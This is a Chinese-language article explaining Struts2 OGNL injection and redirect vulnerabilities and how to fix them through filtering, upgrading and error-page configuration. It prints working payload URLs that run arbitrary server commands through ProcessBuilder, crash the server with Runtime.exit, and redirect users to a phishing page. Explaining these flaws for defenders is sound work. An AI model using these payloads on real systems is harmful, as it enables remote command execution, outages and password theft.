Struts2高危漏洞分析和解决方案
Struts2被曝出存在重要的安全漏洞,苹果、中国移动、中国联通、百度、腾讯、淘宝、京东、Sohu、民生银行等大型企业的网站均遭毒手,运维 工程师苦不堪言。
1可远程执行服务器脚本代码[2]用户可以构造
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的路径和参数,比如fdisk -f等,造成破环系统无法运行的目的。
2.重定向漏洞[3]
用户可以构造如知名网站淘宝的重定向连接,形如<a href="http://www.淘宝.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引导用户点击后进入钓鱼网站,在界面上让其进行登陆用以获取用户的密码
例如:当在浏览器输入如下地址时:
.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
输入以后,服务器端就会崩溃
为什么会存在这样的漏洞:
1、 struts2提供了存储数据的内存结构valueStack
2、 struts2也提供了访问数据的方式ognl表达式
3、 ognl表达式不但可以访问到valueStack中的值,而且还可以改变valueStack中的值
调用valueStack.setValue即可
4、 ognl表达式还能执行静态方法,并且嵌入一些shellcoade代码执行。
这样的结构很灵活,很方便程序员对数据进行操作,因为太灵活,所以在这里就存在安全性的隐患了。可以把一些特别的代码(导致系统崩溃)嵌入到ognl表达式中。
说明:
上述url中的\u0023代表#号,%20代表空格,\u003代表等于
解决方案1:
做一个自定义的拦截器,拦截器过滤url,如果含有\u0023这个字符串,则不能执行以后的操作。这个拦截器的执行一定要在ParameterInterceptor执行之前
在xml配置如下:
解决方案2:
升级struts2到最新版本(2.3以上)
1,/下载最新版jar库
2,替换或添加以下jar包
struts2-json-plugin-2.3.15.1
struts2-core-2.3.15.1
struts2-convention-plugin-2.3.15.1
xwork-core-2.3.15.1
freemarker-2.3.19
ognl-3.0.6
antlr-2.7.2
aopalliance-1.0
asm-3.3
asm-commons-3.3
asm-tree-3.3
builder-0.6.2
classworlds-1.1
commons-beanutils-1.8.0
commons-chain-1.2
commons-collections-3.1
commons-digester-2.0
commons-fileupload-1.3
commons-io-2.0.1
commons-lang-2.4
commons-lang3-3.1
commons-logging-1.1.3
commons-logging-api-1.1
commons-validator-1.3.1
struts2-spring-plugin-2.3.15.1,
3,在struts.properties或struts.xml配置
<constant name="struts.objectFactory" value="org.apache.struts2.spring.StrutsSpringObjectFactory" />,
[注]:项目最好自己管理404,500等错误界面的显示,暴露服务器信息是相当危险的是,下面是tomcat项目配置错误界面方法
在web.xml中添加:
<error-page>
<error-code>404</error-code>
<location>/notFound404.jsp</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/notFound500.jsp</location>
</error-page>